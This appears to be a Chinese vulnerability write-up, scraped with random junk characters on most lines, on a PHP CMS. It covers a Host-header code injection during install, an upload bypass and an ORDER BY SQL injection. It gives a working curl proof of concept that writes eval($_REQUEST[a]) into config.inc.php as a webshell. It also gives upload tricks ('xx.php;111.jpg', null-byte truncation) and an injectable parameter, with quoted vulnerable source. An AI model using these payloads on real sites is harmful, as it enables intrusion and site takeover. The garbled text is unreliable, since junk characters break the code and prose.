注入:
; A8 M# k. u* n5 ]- |: I( E
a" ~; g1 b( P- |" X之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 t; y+ t8 ?% E. |1 y$ [
* i: x; K1 \, W. J) N2 f3 t
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
7 h/ Q. Q, T; ]% Y鸡肋2: 有一定安全常识的站长都会删掉 install 目录5 O* U5 }( t. ]8 u. G3 {3 ~
" w2 i& x. v4 m' t; O2 \虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 d2 `0 \# p p# m
3 ^0 C. @$ S$ Z- O分析:
$ W5 x6 s9 d( i/ P1 p( [+ ?5 ?
, d: w& o/ ~+ d D
! m* ]5 U# E, h- K$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤* k. e" `9 d4 p* ^2 L5 p) `+ T, K
, I+ ?( i X6 p( R$ U
$filestr = fread(fopen($SysConfigFile, 'r'),30000);1 ~( W; o4 a$ G3 [/ D3 n% R8 J
$filestr=str_replace(" ","",$filestr);2 M6 q* H$ f- o* y$ F" Q3 ^ @
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 [2 T7 t4 ?9 ~) {% e
$filestr=str_replace("DefaultDbName",$dbname,$filestr); {9 I, a) j1 N- }" ^3 S# y
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);1 x+ l- F- c- {" z
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
- S1 @0 e+ m5 I# [ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 Z1 y8 i3 d; T $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);. S% J* f. M, w" `
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);! F+ W; w3 Z. E3 T5 A
) E8 }0 Y, ^' `8 v" p& g. ^
fwrite(fopen($ConFile,"w"),$filestr,30000);7 b: |' a$ P8 `+ E o2 G
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# L$ K9 z5 m1 ~5 ~
9 h1 O2 }3 i: P; M6 K0 A7 e
poc:$ K, _5 j# P" _0 m2 ~
3 T- m0 }6 D q
?' k. e& E- C5 P% P7 @' G l: T
1
5 w' y+ Y( O6 u$ k Y; J* Ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"& @3 f" R' \; c( o! n6 x1 J+ t
shell地址: /config.inc.php
% V7 N* F. a- q9 O( ^, k: R跟之前的 phpcms一样 需要远程数据库
# {( k5 d; h3 w i/ r9 o # W* j: A* V3 z- h
——————————————————–
+ g0 _: C- l7 t2 `# Q上传漏洞(需要进后台):7 G! g! ]+ t; b. u4 V
漏洞文件: /kedit/upload_cgi/upload.php
% c; D3 J4 _! x- @+ \! d这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 g% B: S; f1 |' r! f4 t, y! e" _& f
6 N7 V4 B l3 Q {
}. [& m f n9 {<?php% K/ W8 {* I# A r+ M1 |* r
define("ROOTPATH", "../../");
A3 {$ L2 L$ M9 X include(ROOTPATH."includes/admin.inc.php");& v& v# Y" w. F; @
NeedAuth(0); S5 G" s8 `7 l/ z
, s& j6 n& _0 ^" P4 R$ M $dt=date("Ymd",time());2 k0 e( ]6 B1 q4 ], Y) Z2 Q
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# ?" J2 J3 U# F/ w7 a5 `% ~ @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);- H+ x2 N3 ^& O$ D- [$ D- z
}4 [' e% J- e* P* | V
5 q W3 r' |* L# N, E% I! _3 J% {
//文件保存目录路径
( G, a0 `' w, I9 c1 W $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
4 c% x1 Y8 \+ o5 J- S8 b4 g- | echo $save_path;
2 J3 z! N. |& e0 ^ //文件保存目录URL* S, Z5 v- ? @+ n% C
$save_url = '../../'.$_POST['attachPath'].$dt.'/';" g$ ^0 p/ G0 I j+ L% s) K
" m5 j: @9 Y% p! x; x r
//定义允许上传的文件扩展名
6 \* S& e4 f+ A& S! y6 S6 f $ext_arr = array('gif','jpg','png','bmp'); //限制后缀. Y& Y4 H3 P/ w E
: |" t. C& L" P7 B; [5 o //最大文件大小" ]' C. S, v+ l- R" A! A
$max_size = 1000000;
7 r% ]7 ]0 Q+ w' f; e u 0 D( c1 l9 G) @0 _4 g% A) K
//更改目录权限) {4 E0 A5 }1 `3 Q6 T/ w
@mkdir($save_path, 0777);
! D6 {, ]) T9 ~ " O9 E: B N0 T7 P9 S
//文件的全部路径
0 f- B1 ?% b1 c+ i. n $file_path = $save_path.$_POST['fileName']; //保存文件名9 I+ R V2 F: x) {8 ^: P
7 ]6 l. v+ {7 z, c' k
//文件URL1 ^- L& _2 Y# ^6 F) z+ Y$ H
$file_url = $save_url.$_POST['fileName'];5 Q) Z) ?8 ~$ V9 d8 j: Q' u Z
//有上传文件时9 Q9 |, f& {7 k+ q) G
if (empty($_FILES) === false) {
" v7 S1 Z. P+ }' W- { - V/ p% `# B$ F
//原文件名1 _% _9 u' u' `
$file_name = $_FILES['fileData']['name'];/ F0 T. j- a( U
//服务器上临时文件名
8 j9 V0 y6 n D5 `. C2 R4 Q1 t $tmp_name = $_FILES['fileData']['tmp_name'];
$ z% d2 l2 t# \1 b! u& F$ L4 n //文件大小# t; `7 t& ]3 o
$file_size = $_FILES['fileData']['size'];7 o! M5 G5 l; s: E* e, n
//检查目录) |* T2 L3 r @& J" }
if (@is_dir($save_path) === false) {9 |7 u. ~: L7 j2 F6 @# f- y
alert("上传目录不存在。");
) K9 ^* S5 e. b1 f. J& _2 \ }2 m- W, q6 y( I, M
//检查目录写权限- S: k( {4 m: ?
if (@is_writable($save_path) === false) {
$ V( n9 y8 k2 F" g; T+ J alert("上传目录没有写权限。");6 q9 \1 {" w. |7 o Z1 e, p9 n
}2 d; Y* G" U) ?+ N
//检查是否已上传& c0 b1 Y* S- I
if (@is_uploaded_file($tmp_name) === false) {* r8 w. i, b3 d& D- j/ b2 y" b5 B/ N
alert("临时文件可能不是上传文件。");0 n& @! ]. h8 d- n* o
}
2 n ?' |9 j4 B M# \. e. q //检查文件大小
9 C3 ~9 i, J4 ]2 e! Z if ($file_size > $max_size) {; o8 d! p' N3 H3 p! f6 y
alert("上传文件大小超过限制。");- e9 i) e6 a4 E: W! p( b4 a
}) i2 }% ~/ g0 q; a
//获得文件扩展名, p+ g" r- f2 n# Y/ W) D0 V
$temp_arr = explode(".", $_POST['fileName']);- G Z/ Z: I: K' _6 f. J/ n+ Q( |
$file_ext = array_pop($temp_arr);
- f$ m. k6 l+ ]* b $file_ext = trim($file_ext);7 b% Z% n/ `- }5 a) S2 S: i
$file_ext = strtolower($file_ext);+ p) z' d6 _$ _/ X
3 {& _; H( @/ y //检查扩展名 0 e) i7 P* r9 @7 c) R- L
if (in_array($file_ext, $ext_arr) === false) { . }' n5 j4 `/ `. {- e( P0 W
alert("上传文件扩展名是不允许的扩展名。");
3 D# h: @- v: m0 o( ^. ? }
9 H6 N+ t0 Q8 n& `. o6 X ) e( y3 A; z3 f7 L' I
//移动文件
) w1 A3 K( R/ X& b0 l( N! b //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
; b. y5 P3 X5 w; @, V if (move_uploaded_file($tmp_name, $file_path) === false) {
2 M9 s6 b- o- H4 i( T6 B alert("上传文件失败。");1 r# l$ I. A& {( u/ D7 u" @
}
1 H& ^: ~% x4 H $ E0 @$ U: X# J+ @
@chmod($file_path,0666);
9 r- r- x1 W% m3 N) ?1 q; X ( B$ t) I( m$ U/ F& f# x
?>
' E+ V6 {$ `3 H) U" ]0 V/ F5 s抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 P1 x4 {6 y& v2 U6 B% p1 K
) y9 o, G5 i& x/ m) ^& sapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
" C6 d8 ~% J0 o' Y! D 4 R$ u4 ?8 y# C- Y! D
——————————————————: x& A+ {" }% Z( d' j: D
注入漏洞:
% D3 p' m, u+ N+ r# B' X/ G漏洞文件:search/module/search.php
* Q9 y- X4 _: j- b6 c1 W! t/search/index.php?key=1&myord=1 [sqlinjection]
7 I J( F! {3 A4 Y2 F% ]7 V . a! W! \ I3 ^. |. X
4 L6 `/ i* W8 O; b$ ]<?php
! J2 h! H$ b9 y: a5 d8 N4 {2 T3 U9 { // ... 省略 n 行...+ t, l* D. a$ d8 A# K. R
//第18行:
5 m$ c7 @' k2 `! s8 O, F2 s5 Q0 ] $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响0 Q; S6 I# u3 n/ D& ^
$page=htmlspecialchars($_GET["page"]);, a2 ^+ _9 y+ M7 j* d+ W) K
$myord=htmlspecialchars($_GET["myord"]);
" Z- d% B: A& c5 T6 U
% j- v. r2 s) A // ... 省略 n 行...+ Z* J) O" g4 [
$key,$myord 两个参数带入查询7 a3 D. Z1 _' e9 }* X1 D) E
//第47行 $key:
9 U! i# m1 m" U( Q; [, | }- q 4 R7 D3 L9 ~1 B2 k
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
' M% K: t/ z* e0 s2 @% O# V; A 9 g6 K) V G: E- D: g+ ^
//第197行 $myord
3 X# D" j# `' }, S $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入5 n C0 Q. ?8 ` K+ `0 u
4 ?! o% j& L: K7 q2 s
?>
8 l8 _& l; ~; b0 G: Y |